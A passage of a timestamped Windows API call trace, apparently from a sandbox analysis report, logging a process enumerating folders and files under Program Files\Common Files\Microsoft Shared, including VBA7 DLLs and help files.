	[0050.768] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.768] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.769] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit"), fInfoLevelId=0x0, lpFileInformation=0x124dec38 | out: lpFileInformation=0x124dec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.769] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.769] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.769] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0050.769] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.769] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.769] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x124decd8 | out: lpFileInformation=0x124decd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.770] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.770] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.770] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.770] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.770] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA" (normalized: "c:\\program files\\common files\\microsoft shared\\vba"), fInfoLevelId=0x0, lpFileInformation=0x124ded28 | out: lpFileInformation=0x124ded28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA" (normalized: "c:\\program files\\common files\\microsoft shared\\vba"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.772] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.772] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.772] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1
	[0050.772] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.772] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.772] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7"), fInfoLevelId=0x0, lpFileInformation=0x124dedc8 | out: lpFileInformation=0x124dedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.772] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.772] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.772] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0050.772] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1
	[0050.772] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.772] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.773] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033"), fInfoLevelId=0x0, lpFileInformation=0x124deeb8 | out: lpFileInformation=0x124deeb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.773] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.774] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.774] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1
	[0050.774] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1
	[0050.774] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1
	[0050.774] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1
	[0050.774] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1
	[0050.774] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1
	[0050.774] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1
	[0050.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1
	[0050.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.775] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.775] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), fInfoLevelId=0x0, lpFileInformation=0x124df188 | out: lpFileInformation=0x124df188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b)) returned 1
	[0050.777] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), fInfoLevelId=0x0, lpFileInformation=0x124df1d8 | out: lpFileInformation=0x124df1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96)) returned 1
	[0050.777] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbe7intl.dll"), fInfoLevelId=0x0, lpFileInformation=0x124df228 | out: lpFileInformation=0x124df228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50)) returned 1
	[0050.778] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), fInfoLevelId=0x0, lpFileInformation=0x124df278 | out: lpFileInformation=0x124df278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f)) returned 1
	[0050.778] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), fInfoLevelId=0x0, lpFileInformation=0x124df2c8 | out: lpFileInformation=0x124df2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa)) returned 1
	[0050.778] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), fInfoLevelId=0x0, lpFileInformation=0x124df318 | out: lpFileInformation=0x124df318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62)) returned 1
	[0050.779] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), fInfoLevelId=0x0, lpFileInformation=0x124df368 | out: lpFileInformation=0x124df368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434)) returned 1
	[0050.779] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), fInfoLevelId=0x0, lpFileInformation=0x124df3b8 | out: lpFileInformation=0x124df3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96)) returned 1
